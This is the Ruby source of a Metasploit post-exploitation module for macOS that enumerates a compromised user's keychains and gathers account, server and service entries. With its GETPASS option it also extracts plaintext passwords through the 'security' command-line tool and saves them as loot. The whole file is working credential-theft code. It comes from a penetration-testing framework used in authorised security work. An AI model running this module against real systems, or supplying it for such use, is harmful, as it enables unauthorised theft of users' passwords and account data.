## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::Common def initialize(info={}) super(update_info(info, 'Name' => 'OS X Gather Keychain Enumeration', 'Description' => %q{ This module presents a way to quickly go through the current user's keychains and collect data such as email accounts, servers, and other services. Please note: when using the GETPASS option, the user will have to manually enter the password, and then click 'allow' in order to collect each password. }, 'License' => MSF_LICENSE, 'Author' => [ 'ipwnstuff '], 'Platform' => [ 'osx' ], 'SessionTypes' => [ 'shell' ] )) register_options( [ OptBool.new('GETPASS', [false, 'Collect passwords.', false]) ], self.class) end def list_keychains keychains = session.shell_command_token("security list") user = session.shell_command_token("whoami") print_status("The following keychains for #{user.strip} were found:") print_line(keychains.chomp) return keychains =~ /No such file or directory/ ? nil : keychains end def enum_accounts(keychains) user = session.shell_command_token("whoami").chomp out = session.shell_command_token("security dump | egrep 'acct|desc|srvr|svce'") i = 0 accounts = {} out.split("\n").each do |line| unless line =~ /NULL/ case line when /\"acct\"/ i+=1 accounts[i]={} accounts[i]["acct"] = line.split('=')[1].split('"')[1] when /\"srvr\"/ accounts[i]["srvr"] = line.split('=')[1].split('"')[1] when /\"svce\"/ accounts[i]["svce"] = line.split('=')[1].split('"')[1] when /\"desc\"/ accounts[i]["desc"] = line.split('=')[1].split('"')[1] end end end return accounts end def get_passwords(accounts) (1..accounts.count).each do |num| if accounts[num].has_key?("srvr") c = 'find-internet-password' s = accounts[num]["srvr"] else c = 'find-generic-password' s = accounts[num]["svce"] end cmd = session.shell_command_token("security #{c} -ga \"#{accounts[num]["acct"]}\" -s \"#{s}\" 2>&1") cmd.split("\n").each do |line| if line =~ /password: / unless line.split()[1].nil? accounts[num]["pass"] = line.split()[1].gsub("\"","") else accounts[num]["pass"] = nil end end end end return accounts end def save(data) l = store_loot('macosx.keychain.info', 'plain/text', session, data, 'keychain_info.txt', 'Mac Keychain Account/Server/Service/Description') print_good("#{@peer} - Keychain information saved in #{l}") end def run @peer = "#{session.session_host}:#{session.session_port}" keychains = list_keychains if keychains.nil? print_error("#{@peer} - Module timed out, no keychains found.") return end user = session.shell_command_token("/usr/bin/whoami").chomp accounts = enum_accounts(keychains) save(accounts) if datastore['GETPASS'] begin passwords = get_passwords(accounts) rescue print_error("#{@peer} - Module timed out, no passwords found.") print_error("#{@peer} - This is likely due to the host not responding to the prompt.") end save(passwords) end end end